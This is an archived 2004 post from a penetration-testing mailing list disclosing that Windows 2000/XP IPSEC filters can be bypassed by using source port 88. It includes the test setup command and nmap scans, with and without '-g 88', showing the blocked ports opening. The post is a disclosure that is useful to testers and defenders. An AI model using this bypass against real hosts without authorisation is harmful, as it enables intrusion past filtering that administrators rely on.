Penetration Testing mailing list archives
Win2K & XP IPSEC Filtering bypass
From: "JJ Gray" <jj () irmplc com>
Date: Wed, 19 May 2004 22:48:26 +0100
Hi folks, As a result of a recent engagement looking at Windows host hardening, I came across this little trick and thought it might be useful at some point. The Microsoft IPSEC filters used by Windows 2000 & XP can be bypassed by choosing a source port of 88 (Kerberos). First off, Microsoft themselves state that IPSEC filters are not designed as a full featured host based firewall [1] and it is already known that certain types of traffic are exempt from IPSEC filters [2] and they can be summarised as: * Broadcast * Multicast * RSVP * IKE * Kerberos In a Microsoft support note [2] there is the line: "The Kerberos exemption is basically this: If a packet is TCP or UDP and has a source or destination port = 88, permit." The test host here has a "block all" rule created using: ipsecpol.exe -x -w REG -p "The Black Knight" -r "NoneShallPass" -n BLOCK -f 0=*::* Normal Nmap scan: # nmap -sS -v -v -P0 --initial_rtt_timeout 10 --max_rtt_timeout 20 172.25.0.14 Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) at 2004-05-19 18:14 BST Host 172.25.0.14 appears to be up ... good. Initiating SYN Stealth Scan against 172.25.0.14 at 18:14 The SYN Stealth Scan took 7 seconds to scan 1659 ports. Interesting ports on 172.25.0.14: (The 1658 ports scanned but not shown below are in state: filtered) PORT STATE SERVICE 88/tcp closed kerberos-sec Nmap run completed -- 1 IP address (1 host up) scanned in 7.017 seconds Port 88 closed is the hint, Nmap again using this source port: # nmap -sS -v -v -P0 -g 88 --initial_rtt_timeout 10 --max_rtt_timeout 20 172.25.0.14 Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) at 2004-05-19 18:14 BST Host 172.25.0.14 appears to be up ... good. Initiating SYN Stealth Scan against 172.25.0.14 at 18:14 Adding open port 445/tcp Adding open port 135/tcp Adding open port 139/tcp Adding open port 1433/tcp Adding open port 1027/tcp Adding open port 1025/tcp The SYN Stealth Scan took 0 seconds to scan 1659 ports. Interesting ports on 172.25.0.14: (The 1653 ports scanned but not shown below are in state: closed) PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 1025/tcp open NFS-or-IIS 1027/tcp open IIS 1433/tcp open ms-sql-s Nmap run completed -- 1 IP address (1 host up) scanned in 0.367 seconds As can be seen, the IPSEC filters are bypassed. Although not designed as a host based firewall, IPSEC filters are being used as such, particularly to block popular attacked ports such as NETBIOS, CIFS and SQL, perhaps as [temporary] worm mitigation. In Windows 2003 all of these default exemptions have been removed with the exception of IKE [1] and I believe that this may be incorporated into earlier Windows versions at some point. Cheers, JJ [1] http://support.microsoft.com/default.aspx?scid=kb;EN-US;810207 [2] http://support.microsoft.com/default.aspx?scid=kb;EN-US;253169
Current thread:
- Win2K & XP IPSEC Filtering bypass JJ Gray (May 20)
- Re: Win2K & XP IPSEC Filtering bypass Adam Tuliper (May 20)